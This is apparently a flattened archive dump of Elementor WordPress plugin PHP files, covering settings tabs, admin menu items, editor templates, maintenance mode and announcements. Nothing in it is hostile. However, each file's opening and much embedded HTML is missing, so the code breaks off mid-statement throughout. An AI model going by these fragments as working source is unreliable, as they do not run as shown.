[ 'label' => esc_html__( 'Usage Data Sharing', 'elementor' ), 'field_args' => [ 'type' => 'checkbox', 'value' => 'yes', 'default' => '', 'sub_desc' => sprintf( '%1$s %2$s', esc_html__( 'Become a super contributor by opting in to share non-sensitive plugin data and to receive periodic email updates from us.', 'elementor' ), esc_html__( 'Learn more', 'elementor' ) ), ], 'setting_args' => [ __NAMESPACE__ . '\Tracker', 'check_for_settings_optin' ], ], ]; } /** * Ensure tabs. * * Make sure the settings page has tabs before inserting any new sections or * fields. * * @since 1.5.0 * @access private */ private function ensure_tabs() { if ( null === $this->tabs ) { $this->tabs = $this->create_tabs(); $page_id = static::PAGE_ID; /** * After create settings. * * Fires after the settings are created in Elementor admin page. * * The dynamic portion of the hook name, `$page_id`, refers to the current page ID. * * @since 1.0.0 * * @param Settings_Page $this The settings page. */ do_action( "elementor/admin/after_create_settings/{$page_id}", $this ); } } /** * Should it render the settings tab * * @param $tab * * @return bool */ private function should_render_tab( $tab ) { // BC - When 'show_if' prop is not exists, it actually should render the tab. return ! empty( $tab['sections'] ) && ( ! isset( $tab['show_if'] ) || $tab['show_if'] ); } /** * Should it render the settings section * * @param $section * * Since 3.19.0 * * @return bool */ private function should_render_section( $section ) { // BC - When 'show_if' prop is not exists, it actually should render the section. return ! isset( $section['show_if'] ) || $section['show_if']; } } includes/settings/settings.php000064400000042345147206604650012605 0ustar00home_module->is_experiment_active() ? 'display_home_screen' : 'display_settings_page', ], '', '58.5' ); if ( $this->home_module->is_experiment_active() ) { add_action( 'elementor/admin/menu/register', function( Admin_Menu_Manager $admin_menu ) { $admin_menu->register( 'elementor-settings', new Admin_Menu_Item( $this ) ); }, 0 ); } } public function display_home_screen() { echo '
'; } /** * Reorder the Elementor menu items in admin. * Based on WC. * * @since 2.4.0 * * @param array $menu_order Menu order. * @return array */ public function menu_order( $menu_order ) { // Initialize our custom order array. $elementor_menu_order = []; // Get the index of our custom separator. $elementor_separator = array_search( 'separator-elementor', $menu_order, true ); // Get index of library menu. $elementor_library = array_search( Source_Local::ADMIN_MENU_SLUG, $menu_order, true ); // Loop through menu order and do some rearranging. foreach ( $menu_order as $index => $item ) { if ( 'elementor' === $item ) { $elementor_menu_order[] = 'separator-elementor'; $elementor_menu_order[] = $item; $elementor_menu_order[] = Source_Local::ADMIN_MENU_SLUG; unset( $menu_order[ $elementor_separator ] ); unset( $menu_order[ $elementor_library ] ); } elseif ( ! in_array( $item, [ 'separator-elementor' ], true ) ) { $elementor_menu_order[] = $item; } } // Return order. return $elementor_menu_order; } /** * Register Elementor knowledge base sub-menu. * * Add new Elementor knowledge base sub-menu under the main Elementor menu. * * Fired by `admin_menu` action. * * @since 2.0.3 * @access private */ private function register_knowledge_base_menu( Admin_Menu_Manager $admin_menu ) { $admin_menu->register( 'elementor-getting-started', new Getting_Started_Menu_Item() ); $admin_menu->register( 'go_knowledge_base_site', new Get_Help_Menu_Item() ); } /** * Go Elementor Pro. * * Redirect the Elementor Pro page the clicking the Elementor Pro menu link. * * Fired by `admin_init` action. * * @since 2.0.3 * @access public */ public function handle_external_redirects() { if ( empty( $_GET['page'] ) ) { return; } if ( 'go_knowledge_base_site' === $_GET['page'] ) { wp_redirect( Get_Help_Menu_Item::URL ); die; } } /** * On admin init. * * Preform actions on WordPress admin initialization. * * Fired by `admin_init` action. * * @since 2.0.0 * @access public */ public function on_admin_init() { $this->handle_external_redirects(); $this->maybe_remove_all_admin_notices(); } /** * Change "Settings" menu name. * * Update the name of the Settings admin menu from "Elementor" to "Settings". * * Fired by `admin_menu` action. * * @since 1.0.0 * @access public */ public function admin_menu_change_name() { $menu_name = $this->home_module->is_experiment_active() ? esc_html__( 'Home', 'elementor' ) : esc_html__( 'Settings', 'elementor' ); Utils::change_submenu_first_item_label( 'elementor', $menu_name ); } /** * Update CSS print method. * * Clear post CSS cache. * * Fired by `add_option_elementor_css_print_method` and * `update_option_elementor_css_print_method` actions. * * @since 1.7.5 * @access public * @deprecated 3.0.0 Use `Plugin::$instance->files_manager->clear_cache()` method instead. */ public function update_css_print_method() { Plugin::$instance->files_manager->clear_cache(); } /** * Create tabs. * * Return the settings page tabs, sections and fields. * * @since 1.5.0 * @access protected * * @return array An array with the settings page tabs, sections and fields. */ protected function create_tabs() { $validations_class_name = __NAMESPACE__ . '\Settings_Validations'; return [ self::TAB_GENERAL => [ 'label' => esc_html__( 'General', 'elementor' ), 'sections' => [ 'general' => [ 'label' => esc_html__( 'General', 'elementor' ), 'callback' => function() { printf( '

%s




', esc_html__( 'Tailor how Elementor enhances your site, from post types to other functions.', 'elementor' ) ); }, 'fields' => [ self::UPDATE_TIME_FIELD => [ 'full_field_id' => self::UPDATE_TIME_FIELD, 'field_args' => [ 'type' => 'hidden', ], 'setting_args' => [ $validations_class_name, 'current_time' ], ], 'cpt_support' => [ 'label' => esc_html__( 'Post Types', 'elementor' ), 'field_args' => [ 'type' => 'checkbox_list_cpt', 'std' => [ 'page', 'post' ], 'exclude' => [ 'attachment', 'elementor_library' ], ], 'setting_args' => [ $validations_class_name, 'checkbox_list' ], ], 'disable_color_schemes' => [ 'label' => esc_html__( 'Disable Default Colors', 'elementor' ), 'field_args' => [ 'type' => 'checkbox', 'value' => 'yes', 'sub_desc' => esc_html__( 'Checking this box will disable Elementor\'s Default Colors, and make Elementor inherit the colors from your theme.', 'elementor' ), ], ], 'disable_typography_schemes' => [ 'label' => esc_html__( 'Disable Default Fonts', 'elementor' ), 'field_args' => [ 'type' => 'checkbox', 'value' => 'yes', 'sub_desc' => esc_html__( 'Checking this box will disable Elementor\'s Default Fonts, and make Elementor inherit the fonts from your theme.', 'elementor' ), ], ], ], ], 'usage' => [ 'label' => esc_html__( 'Improve Elementor', 'elementor' ), 'fields' => $this->get_usage_fields(), ], ], ], self::TAB_INTEGRATIONS => [ 'label' => esc_html__( 'Integrations', 'elementor' ), 'sections' => [ 'google_maps' => [ 'label' => esc_html__( 'Google Maps Embed API', 'elementor' ), 'callback' => function() { printf( /* translators: 1: Link open tag, 2: Link close tag */ esc_html__( 'Google Maps Embed API is a free service by Google that allows embedding Google Maps in your site. For more details, visit Google Maps\' %1$sUsing API Keys%2$s page.', 'elementor' ), '', '' ); }, 'fields' => [ 'google_maps_api_key' => [ 'label' => esc_html__( 'API Key', 'elementor' ), 'field_args' => [ 'class' => 'elementor_google_maps_api_key', 'type' => 'text', ], ], ], ], ], ], self::TAB_ADVANCED => [ 'label' => esc_html__( 'Advanced', 'elementor' ), 'sections' => [ 'advanced' => [ 'label' => esc_html__( 'Advanced', 'elementor' ), 'callback' => function() { printf( '

%s




', esc_html__( 'Personalize the way Elementor works on your website by choosing the advanced features and how they operate.', 'elementor' ) ); }, 'fields' => [ 'editor_break_lines' => [ 'label' => esc_html__( 'Switch Editor Loader Method', 'elementor' ), 'field_args' => [ 'type' => 'select', 'std' => '', 'options' => [ '' => esc_html__( 'Disable', 'elementor' ), '1' => esc_html__( 'Enable', 'elementor' ), ], 'desc' => esc_html__( 'For troubleshooting server configuration conflicts.', 'elementor' ), ], ], 'unfiltered_files_upload' => [ 'label' => esc_html__( 'Enable Unfiltered File Uploads', 'elementor' ), 'field_args' => [ 'type' => 'select', 'std' => '', 'options' => [ '' => esc_html__( 'Disable', 'elementor' ), '1' => esc_html__( 'Enable', 'elementor' ), ], 'desc' => esc_html__( 'Please note! Allowing uploads of any files (SVG & JSON included) is a potential security risk.', 'elementor' ) . '
' . esc_html__( 'Elementor will try to sanitize the unfiltered files, removing potential malicious code and scripts.', 'elementor' ) . '
' . esc_html__( 'We recommend you only enable this feature if you understand the security risks involved.', 'elementor' ), ], ], 'google_font' => [ 'label' => esc_html__( 'Google Fonts', 'elementor' ), 'field_args' => [ 'type' => 'select', 'std' => '1', 'options' => [ '1' => esc_html__( 'Enable', 'elementor' ), '0' => esc_html__( 'Disable', 'elementor' ), ], 'desc' => sprintf( esc_html__( 'Disable this option if you want to prevent Google Fonts from being loaded. This setting is recommended when loading fonts from a different source (plugin, theme or %1$scustom fonts%2$s).', 'elementor' ), '', '' ), ], ], 'font_display' => [ 'label' => esc_html__( 'Google Fonts Load', 'elementor' ), 'field_args' => [ 'type' => 'select', 'std' => 'auto', 'options' => [ 'auto' => esc_html__( 'Default', 'elementor' ), 'block' => esc_html__( 'Blocking', 'elementor' ), 'swap' => esc_html__( 'Swap', 'elementor' ), 'fallback' => esc_html__( 'Fallback', 'elementor' ), 'optional' => esc_html__( 'Optional', 'elementor' ), ], 'desc' => esc_html__( 'Font-display property defines how font files are loaded and displayed by the browser.', 'elementor' ) . '
' . esc_html__( 'Set the way Google Fonts are being loaded by selecting the font-display property (Default: Auto).', 'elementor' ), ], ], ], ], ], ], self::TAB_PERFORMANCE => [ 'label' => esc_html__( 'Performance', 'elementor' ), 'sections' => [ 'performance' => [ 'label' => esc_html__( 'Performance', 'elementor' ), 'callback' => function() { printf( '

%s




', esc_html__( 'Improve loading times on your site by selecting the optimization tools that best fit your requirements.', 'elementor' ) ); }, 'fields' => [ 'css_print_method' => [ 'label' => esc_html__( 'CSS Print Method', 'elementor' ), 'field_args' => [ 'class' => 'elementor_css_print_method', 'type' => 'select', 'std' => 'external', 'options' => [ 'external' => esc_html__( 'External File', 'elementor' ), 'internal' => esc_html__( 'Internal Embedding', 'elementor' ), ], 'desc' => sprintf( /* translators: %s: tag. */ esc_html__( 'Internal Embedding places all CSS in the %s which works great for troubleshooting, while External File uses external CSS file for better performance (recommended).', 'elementor' ), '<head>', ), ], ], 'optimized_image_loading' => [ 'label' => esc_html__( 'Optimized Image Loading', 'elementor' ), 'field_args' => [ 'type' => 'select', 'std' => '1', 'options' => [ '1' => esc_html__( 'Enable', 'elementor' ), '0' => esc_html__( 'Disable', 'elementor' ), ], 'desc' => sprintf( /* translators: 1: fetchpriority attribute, 2: lazy loading attribute. */ esc_html__( 'Improve performance by applying %1$s on LCP image and %2$s on images below the fold.', 'elementor' ), 'fetchpriority="high"', 'loading="lazy"' ), ], ], 'optimized_gutenberg_loading' => [ 'label' => esc_html__( 'Optimized Gutenberg Loading', 'elementor' ), 'field_args' => [ 'type' => 'select', 'std' => '1', 'options' => [ '1' => esc_html__( 'Enable', 'elementor' ), '0' => esc_html__( 'Disable', 'elementor' ), ], 'desc' => esc_html__( 'Reduce unnecessary render-blocking loads by dequeuing unused Gutenberg block editor scripts and styles.', 'elementor' ), ], ], 'lazy_load_background_images' => [ 'label' => esc_html__( 'Lazy Load Background Images', 'elementor' ), 'field_args' => [ 'type' => 'select', 'std' => '1', 'options' => [ '1' => esc_html__( 'Enable', 'elementor' ), '0' => esc_html__( 'Disable', 'elementor' ), ], 'desc' => esc_html__( 'Improve initial page load performance by lazy loading all background images except the first one.', 'elementor' ), ], ], ], ], ], ], ]; } /** * Get settings page title. * * Retrieve the title for the settings page. * * @since 1.5.0 * @access protected * * @return string Settings page title. */ protected function get_page_title() { return esc_html__( 'Elementor', 'elementor' ); } /** * @since 2.2.0 * @access private */ private function maybe_remove_all_admin_notices() { $elementor_pages = [ 'elementor-getting-started', 'elementor-system-info', 'e-form-submissions', 'elementor_custom_fonts', 'elementor_custom_icons', 'elementor-license', 'elementor_custom_code', 'popup_templates', 'elementor-apps', ]; if ( empty( $_GET['page'] ) || ! in_array( $_GET['page'], $elementor_pages, true ) ) { return; } remove_all_actions( 'admin_notices' ); } public function add_generator_tag_settings( $settings ) { $css_print_method = get_option( 'elementor_css_print_method', 'external' ); $settings[] = 'css_print_method-' . $css_print_method; $google_font = Fonts::is_google_fonts_enabled() ? 'enabled' : 'disabled'; $settings[] = 'google_font-' . $google_font; $font_display = Fonts::get_font_display_setting(); $settings[] = 'font_display-' . $font_display; return $settings; } /** * Settings page constructor. * * Initializing Elementor "Settings" page. * * @since 1.0.0 * @access public */ public function __construct() { parent::__construct(); $this->home_module = new Home_Module(); add_action( 'admin_init', [ $this, 'on_admin_init' ] ); add_filter( 'elementor/generator_tag/settings', [ $this, 'add_generator_tag_settings' ] ); add_action( 'admin_menu', [ $this, 'register_admin_menu' ], 20 ); add_action( 'elementor/admin/menu/register', function ( Admin_Menu_Manager $admin_menu ) { $this->register_knowledge_base_menu( $admin_menu ); }, Promotions_Module::ADMIN_MENU_PRIORITY - 1 ); add_action( 'admin_menu', [ $this, 'admin_menu_change_name' ], 200 ); add_filter( 'custom_menu_order', '__return_true' ); add_filter( 'menu_order', [ $this, 'menu_order' ] ); $clear_cache_callback = [ Plugin::$instance->files_manager, 'clear_cache' ]; // Clear CSS Meta after change css related methods. $css_settings = [ 'elementor_disable_color_schemes', 'elementor_disable_typography_schemes', 'elementor_css_print_method', ]; foreach ( $css_settings as $option_name ) { add_action( "add_option_{$option_name}", $clear_cache_callback ); add_action( "update_option_{$option_name}", $clear_cache_callback ); } } } includes/settings/admin-menu-items/getting-started-menu-item.php000064400000006312147206604650021113 0ustar00experiments->is_feature_active( 'home_screen' ); } public function get_parent_slug() { return Settings::PAGE_ID; } public function get_label() { return esc_html__( 'Getting Started', 'elementor' ); } public function get_page_title() { return esc_html__( 'Getting Started', 'elementor' ); } public function get_capability() { return 'manage_options'; } public function render() { if ( User::is_current_user_can_edit_post_type( 'page' ) ) { $create_new_label = esc_html__( 'Create Your First Page', 'elementor' ); $create_new_cpt = 'page'; } elseif ( User::is_current_user_can_edit_post_type( 'post' ) ) { $create_new_label = esc_html__( 'Create Your First Post', 'elementor' ); $create_new_cpt = 'post'; } ?> tools_page = $tools_page; } public function is_visible() { return true; } public function get_parent_slug() { return Settings::PAGE_ID; } public function get_label() { return esc_html__( 'Tools', 'elementor' ); } public function get_page_title() { return esc_html__( 'Tools', 'elementor' ); } public function get_capability() { return Tools::CAPABILITY; } public function render() { $this->tools_page->display_settings_page(); } } includes/settings/admin-menu-items/admin-menu-item.php000064400000002044147206604650017074 0ustar00settings_page = $settings_page; } public function is_visible() { return true; } public function get_parent_slug() { return $this->settings_page->home_module->is_experiment_active() ? 'elementor' : null; } public function get_label() { return $this->settings_page->home_module->is_experiment_active() ? esc_html__( 'Settings', 'elementor' ) : esc_html__( 'Elementor', 'elementor' ); } public function get_page_title() { return $this->get_label(); } public function get_position() { return '58.5'; } public function get_capability() { return 'manage_options'; } public function render() { $this->settings_page->display_settings_page(); } } includes/settings/admin-menu-items/get-help-menu-item.php000064400000001377147206604650017521 0ustar00breakpoints->get_active_breakpoints(); $active_devices = Plugin::$instance->breakpoints->get_active_devices_list( [ 'reverse' => true ] ); $breakpoint_classes_map = array_intersect_key( Plugin::$instance->breakpoints->get_responsive_icons_classes_map(), array_flip( $active_devices ) ); ?> includes/editor-templates/hotkeys.php000064400000015353147206604650014054 0ustar00experiments->is_feature_active( App_Bar_Module::EXPERIMENT_NAME ); ?> includes/editor-templates/repeater.php000064400000002264147206604650014172 0ustar00 includes/editor-templates/templates.php000064400000044543147206604650014367 0ustar00 includes/editor-templates/global.php000064400000012645147206604650013627 0ustar00 includes/editor-templates/library-layout.php000064400000002470147206604650015341 0ustar00 includes/editor-templates/panel.php000064400000042100147206604650013453 0ustar00documents->get( Plugin::$instance->editor->get_post_id() ); $is_app_bar_active = Plugin::$instance->experiments->is_feature_active( App_Bar_Module::EXPERIMENT_NAME ); ?> includes/editor-templates/editor-wrapper.php000064400000002256147206604650015330 0ustar00role_manager->user_can( 'design' ) ) { $body_classes[] = 'elementor-editor-content-only'; } $notice = Plugin::$instance->editor->notice_bar->get_notice(); ?> > <?php echo sprintf( esc_html__( 'Edit "%s" with Elementor', 'elementor' ), esc_html( get_the_title() ) ); ?> includes/editor-templates/navigator.php000064400000011141147206604650014347 0ustar00experiments->is_feature_active( App_Bar_Module::EXPERIMENT_NAME ); $has_pro = Utils::has_pro(); $elements_list_class = ''; if ( ! $has_pro ) { $promotion_data = [ 'text' => esc_html__( 'Access all Pro widgets', 'elementor' ), 'url_label' => esc_html__( 'Upgrade Now', 'elementor' ), 'url' => 'https://go.elementor.com/go-pro-structure-panel/', ]; $promotion_data = Filtered_Promotions_Manager::get_filtered_promotion_data( $promotion_data, 'elementor/navigator/custom_promotion', 'url' ); $elements_list_class = 'elementor-navigator-list__promotion'; } ?> includes/editor-templates/panel-elements.php000064400000012522147206604650015272 0ustar00 includes/maintenance-mode.php000064400000026204147206604650012305 0ustar00preview->is_preview_mode() ) { return; } $user = wp_get_current_user(); $exclude_mode = self::get( 'exclude_mode', [] ); $is_login_page = false; /** * Is login page * * Filters whether the maintenance mode displaying the login page or a regular page. * * @since 1.0.4 * * @param bool $is_login_page Whether its a login page. */ $is_login_page = apply_filters( 'elementor/maintenance_mode/is_login_page', $is_login_page ); if ( $is_login_page ) { return; } if ( 'logged_in' === $exclude_mode && is_user_logged_in() ) { return; } if ( 'custom' === $exclude_mode ) { $exclude_roles = self::get( 'exclude_roles', [] ); $user_roles = $user->roles; if ( is_multisite() && is_super_admin() ) { $user_roles[] = 'super_admin'; } $compare_roles = array_intersect( $user_roles, $exclude_roles ); if ( ! empty( $compare_roles ) ) { return; } } add_filter( 'body_class', [ $this, 'body_class' ] ); if ( 'maintenance' === self::get( 'mode' ) ) { $protocol = wp_get_server_protocol(); header( "$protocol 503 Service Unavailable", true, 503 ); header( 'Content-Type: text/html; charset=utf-8' ); header( 'Retry-After: 600' ); } // Setup global post for Elementor\frontend so `_has_elementor_in_page = true`. $GLOBALS['post'] = get_post( self::get( 'template_id' ) ); // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited // Set the template as `$wp_query->current_object` for `wp_title` and etc. query_posts( [ 'p' => self::get( 'template_id' ), 'post_type' => Source_Local::CPT, ] ); } /** * Register settings fields. * * Adds new "Maintenance Mode" settings fields to Elementor admin page. * * The method need to receive the an instance of the Tools settings page * to add the new maintenance mode functionality. * * Fired by `elementor/admin/after_create_settings/{$page_id}` action. * * @since 1.4.0 * @access public * * @param Tools $tools An instance of the Tools settings page. */ public function register_settings_fields( Tools $tools ) { $templates = Plugin::$instance->templates_manager->get_source( 'local' )->get_items( [ 'type' => 'page', ] ); $templates_options = []; foreach ( $templates as $template ) { $templates_options[ $template['template_id'] ] = esc_html( $template['title'] ); } ob_start(); $this->print_template_description(); $template_description = ob_get_clean(); $tools->add_tab( 'maintenance_mode', [ 'label' => esc_html__( 'Maintenance Mode', 'elementor' ), 'sections' => [ 'maintenance_mode' => [ 'callback' => function() { echo '

' . esc_html__( 'Maintenance Mode', 'elementor' ) . '

'; echo '

' . esc_html__( 'Set your entire website as MAINTENANCE MODE, meaning the site is offline temporarily for maintenance, or set it as COMING SOON mode, meaning the site is offline until it is ready to be launched.', 'elementor' ) . '

'; }, 'fields' => [ 'maintenance_mode_mode' => [ 'label' => esc_html__( 'Choose Mode', 'elementor' ), 'field_args' => [ 'type' => 'select', 'std' => '', 'options' => [ '' => esc_html__( 'Disabled', 'elementor' ), self::MODE_COMING_SOON => esc_html__( 'Coming Soon', 'elementor' ), self::MODE_MAINTENANCE => esc_html__( 'Maintenance', 'elementor' ), ], 'desc' => '' . '' . '', ], ], 'maintenance_mode_exclude_mode' => [ 'label' => esc_html__( 'Who Can Access', 'elementor' ), 'field_args' => [ 'class' => 'elementor-default-hide', 'type' => 'select', 'std' => 'logged_in', 'options' => [ 'logged_in' => esc_html__( 'Logged In', 'elementor' ), 'custom' => esc_html__( 'Custom', 'elementor' ), ], ], ], 'maintenance_mode_exclude_roles' => [ 'label' => esc_html__( 'Roles', 'elementor' ), 'field_args' => [ 'class' => 'elementor-default-hide', 'type' => 'checkbox_list_roles', ], 'setting_args' => [ __NAMESPACE__ . '\Settings_Validations', 'checkbox_list' ], ], 'maintenance_mode_template_id' => [ 'label' => esc_html__( 'Choose Template', 'elementor' ), 'field_args' => [ 'class' => 'elementor-default-hide', 'type' => 'select', 'std' => '', 'show_select' => true, 'options' => $templates_options, 'desc' => $template_description, ], ], ], ], ], ] ); } /** * Add menu in admin bar. * * Adds "Maintenance Mode" items to the WordPress admin bar. * * Fired by `admin_bar_menu` filter. * * @since 1.4.0 * @access public * * @param \WP_Admin_Bar $wp_admin_bar WP_Admin_Bar instance, passed by reference. */ public function add_menu_in_admin_bar( \WP_Admin_Bar $wp_admin_bar ) { $wp_admin_bar->add_node( [ 'id' => 'elementor-maintenance-on', 'title' => esc_html__( 'Maintenance Mode ON', 'elementor' ), 'href' => Tools::get_url() . '#tab-maintenance_mode', ] ); $document = Plugin::$instance->documents->get( self::get( 'template_id' ) ); $wp_admin_bar->add_node( [ 'id' => 'elementor-maintenance-edit', 'parent' => 'elementor-maintenance-on', 'title' => esc_html__( 'Edit Template', 'elementor' ), 'href' => $document ? $document->get_edit_url() : '', ] ); } /** * Print style. * * Adds custom CSS to the HEAD html tag. The CSS that emphasise the maintenance * mode with red colors. * * Fired by `admin_head` and `wp_head` filters. * * @since 1.4.0 * @access public */ public function print_style() { ?> documents->get( $template_id )->get_edit_url(); } ?>
', '' ); ?>
get_js_assets_url( 'announcements-app' ), [ 'wp-i18n', ], ELEMENTOR_VERSION, true ); wp_set_script_translations( 'announcements-app', 'elementor' ); $this->print_config( 'announcements-app' ); } /** * Get initialization settings to use in frontend. * * @return array[] */ protected function get_init_settings(): array { $active_announcements = $this->get_active_announcements(); $additional_settings = []; foreach ( $active_announcements as $announcement ) { $additional_settings[] = $announcement->get_prepared_data(); //@TODO - replace with ajax request from the front after actually triggered $announcement->after_triggered(); } return [ 'announcements' => $additional_settings, ]; } /** * Enqueue the module styles. */ public function enqueue_styles() { wp_enqueue_style( 'announcements-app', $this->get_css_assets_url( 'modules/announcements/announcements' ), [], ELEMENTOR_VERSION ); } /** * Retrieve all announcement in raw format ( array ). * * @return array[] */ private function get_raw_announcements(): array { $raw_announcements = []; if ( Preferences::is_ai_enabled( get_current_user_id() ) ) { $raw_announcements[] = $this->get_ai_announcement_data(); } // DO NOT USE THIS FILTER return apply_filters( 'elementor/announcements/raw_announcements', $raw_announcements ); } private function get_ai_announcement_data(): array { return [ 'title' => __( 'Discover your new superpowers ', 'elementor' ), 'description' => __( '

With AI for text, code, image generation and editing, you can bring your vision to life faster than ever. Start your free trial now - no credit card required!

', 'elementor' ), 'media' => [ 'type' => 'image', 'src' => ELEMENTOR_ASSETS_URL . 'images/announcement.png?' . ELEMENTOR_VERSION, ], 'cta' => [ [ 'label' => __( 'Let\'s do it', 'elementor' ), 'variant' => 'primary', 'target' => '_top', 'url' => '#welcome-ai', ], [ 'label' => __( 'Skip', 'elementor' ), 'variant' => 'secondary', ], ], 'triggers' => [ [ 'action' => 'aiStarted', ], ], ]; } /** * Retrieve all announcement objects. * * @return array */ private function get_announcements(): array { $announcements = []; foreach ( $this->get_raw_announcements() as $announcement_data ) { $announcements[] = new Announcement( $announcement_data ); } return $announcements; } /** * Retrieve all active announcement objects. * * @return array */ private function get_active_announcements(): array { $active_announcements = []; foreach ( $this->get_announcements() as $announcement ) { if ( $announcement->is_active() ) { $active_announcements[] = $announcement; } } return $active_announcements; } public function __construct() { parent::__construct(); add_action( 'elementor/init', [ $this, 'on_elementor_init' ] ); } public function on_elementor_init() { if ( empty( $this->get_active_announcements() ) ) { return; } add_action( 'elementor/editor/footer', function () { $this->render_app_wrapper(); } ); add_action( 'elementor/editor/after_enqueue_scripts', function () { $this->enqueue_scripts(); $this->enqueue_styles(); } ); } } modules/announcements/triggers/ai-started.php000064400000001152147206604650015476 0ustar00 $this->name ] ); } /** * @return bool */ public function is_active(): bool { return ! User::get_introduction_meta( 'ai_get_started' ) && ! User::get_introduction_meta( $this->name ); } } modules/announcements/triggers/is-flex-container-inactive.php000064400000002241147206604650020570 0ustar00get_user_announcement_count(); return ! empty( $user_counter ) ? (int) $user_counter : 0; } public function after_triggered() { $new_counter = $this->get_view_count() + 1; update_user_meta( get_current_user_id(), self::USER_META_KEY, $new_counter ); } /** * @return bool */ public function is_active(): bool { $is_feature_active = Plugin::$instance->experiments->is_feature_active( 'container' ); $counter = $this->get_user_announcement_count(); return ! $is_feature_active && (int) $counter < 1; } /** * @return string */ private function get_user_announcement_count(): string { return get_user_meta( get_current_user_id(), self::USER_META_KEY, true ); } } modules/announcements/classes/trigger-base.php000064400000000672147206604650015631 0ustar00name; } /** * @return bool */ public function is_active(): bool { return true; } public function after_triggered() { } } modules/announcements/classes/utils.php000064400000001436147206604650014415 0ustar00raw_data = $data; $this->set_triggers(); } /** * @return array */ protected function get_triggers(): array { return $this->triggers; } protected function set_triggers() { $triggers = $this->raw_data['triggers'] ?? []; foreach ( $triggers as $trigger ) { $this->triggers[] = Utils::get_trigger_object( $trigger ); } } /** * is_active * @return bool */ public function is_active(): bool { $triggers = $this->get_triggers(); if ( empty( $triggers ) ) { return true; } foreach ( $triggers as $trigger ) { if ( ! $trigger->is_active() ) { return false; } } return true; } public function after_triggered() { foreach ( $this->get_triggers() as $trigger ) { if ( $trigger->is_active() ) { $trigger->after_triggered(); } } } /** * @return array */ public function get_prepared_data(): array { $raw_data = $this->raw_data; unset( $raw_data['triggers'] ); return $raw_data; } } modules/home/module.php000064400000005406147206604650011161 0ustar00register_layout_experiment(); if ( ! $this->is_experiment_active() ) { return; } add_action( 'elementor/admin/menu/after_register', function ( Admin_Menu_Manager $admin_menu, array $hooks ) { $hook_suffix = 'toplevel_page_elementor'; add_action( "admin_print_scripts-{$hook_suffix}", [ $this, 'enqueue_home_screen_scripts' ] ); }, 10, 2 ); add_filter( 'elementor/document/urls/edit', [ $this, 'add_active_document_to_edit_link' ] ); } public function enqueue_home_screen_scripts(): void { if ( ! current_user_can( 'manage_options' ) ) { return; } $min_suffix = Utils::is_script_debug() ? '' : '.min'; wp_enqueue_script( 'e-home-screen', ELEMENTOR_ASSETS_URL . 'js/e-home-screen' . $min_suffix . '.js', [ 'react', 'react-dom', 'elementor-common', 'elementor-v2-ui', ], ELEMENTOR_VERSION, true ); wp_set_script_translations( 'e-home-screen', 'elementor' ); wp_localize_script( 'e-home-screen', 'elementorHomeScreenData', $this->get_app_js_config() ); } public function is_experiment_active(): bool { return Plugin::$instance->experiments->is_feature_active( self::PAGE_ID ); } public function add_active_document_to_edit_link( $edit_link ) { $active_document = Utils::get_super_global_value( $_GET, 'active-document' ) ?? null; $active_tab = Utils::get_super_global_value( $_GET, 'active-tab' ) ?? null; if ( $active_document ) { $edit_link = add_query_arg( 'active-document', $active_document, $edit_link ); } if ( $active_tab ) { $edit_link = add_query_arg( 'active-tab', $active_tab, $edit_link ); } return $edit_link; } private function register_layout_experiment(): void { Plugin::$instance->experiments->add_feature( [ 'name' => static::PAGE_ID, 'title' => esc_html__( 'Elementor Home Screen', 'elementor' ), 'description' => esc_html__( 'Default Elementor menu page.', 'elementor' ), 'hidden' => true, 'default' => Experiments_Manager::STATE_ACTIVE, ] ); } private function get_app_js_config(): array { return API::get_home_screen_items(); } public static function get_elementor_settings_page_id(): string { return Plugin::$instance->experiments->is_feature_active( self::PAGE_ID ) ? 'elementor-settings' : Settings::PAGE_ID; } } modules/home/classes/transformations-manager.php000064400000003707147206604650016174 0ustar00home_screen_data = $home_screen_data; $this->wordpress_adapter = new Wordpress_Adapter(); $this->plugin_status_adapter = new Plugin_Status_Adapter( $this->wordpress_adapter ); $this->transformation_classes = $this->get_transformation_classes(); } public function run_transformations(): array { if ( ! empty( self::$cached_data ) ) { return self::$cached_data; } $transformations = self::TRANSFORMATIONS; foreach ( $transformations as $transformation_id ) { $this->home_screen_data = $this->transformation_classes[ $transformation_id ]->transform( $this->home_screen_data ); } self::$cached_data = $this->home_screen_data; return $this->home_screen_data; } private function get_transformation_classes(): array { $classes = []; $transformations = self::TRANSFORMATIONS; $arguments = [ 'wordpress_adapter' => $this->wordpress_adapter, 'plugin_status_adapter' => $this->plugin_status_adapter, ]; foreach ( $transformations as $transformation_id ) { $class_name = '\\Elementor\\Modules\\Home\\Transformations\\' . $transformation_id; $classes[ $transformation_id ] = new $class_name( $arguments ); } return $classes; } } modules/home/transformations/filter-plugins.php000064400000005207147206604650016070 0ustar00get_add_ons_installation_status( $home_screen_data['add_ons']['repeater'] ); return $home_screen_data; } private function is_plugin( $add_on ): bool { return 'link' !== $add_on['type']; } private function get_add_ons_installation_status( array $add_ons ): array { $transformed_add_ons = []; foreach ( $add_ons as $add_on ) { if ( $this->is_plugin( $add_on ) ) { $this->handle_plugin_add_on( $add_on, $transformed_add_ons ); } else { $transformed_add_ons[] = $add_on; } } return $transformed_add_ons; } private function get_plugin_installation_status( $add_on ): string { $plugin_path = $add_on['file_path']; if ( ! $this->plugin_status_adapter->is_plugin_installed( $plugin_path ) ) { if ( 'wporg' === $add_on['type'] ) { return self::PLUGIN_IS_NOT_INSTALLED_FROM_WPORG; } return self::PLUGIN_IS_NOT_INSTALLED_NOT_FROM_WPORG; } if ( $this->wordpress_adapter->is_plugin_active( $plugin_path ) ) { return self::PLUGIN_IS_ACTIVATED; } return self::PLUGIN_IS_INSTALLED_NOT_ACTIVATED; } private function handle_plugin_add_on( array $add_on, array &$transformed_add_ons ): void { $installation_status = $this->get_plugin_installation_status( $add_on ); if ( self::PLUGIN_IS_ACTIVATED === $installation_status ) { return; } switch ( $this->get_plugin_installation_status( $add_on ) ) { case self::PLUGIN_IS_NOT_INSTALLED_NOT_FROM_WPORG: break; case self::PLUGIN_IS_NOT_INSTALLED_FROM_WPORG: $installation_url = $this->plugin_status_adapter->get_install_plugin_url( $add_on['file_path'] ); $add_on['url'] = html_entity_decode( $installation_url ); $add_on['target'] = '_self'; break; case self::PLUGIN_IS_INSTALLED_NOT_ACTIVATED: $activation_url = $this->plugin_status_adapter->get_activate_plugin_url( $add_on['file_path'] ); $add_on['url'] = html_entity_decode( $activation_url ); $add_on['button_label'] = esc_html__( 'Activate', 'elementor' ); $add_on['target'] = '_self'; break; } $transformed_add_ons[] = $add_on; } 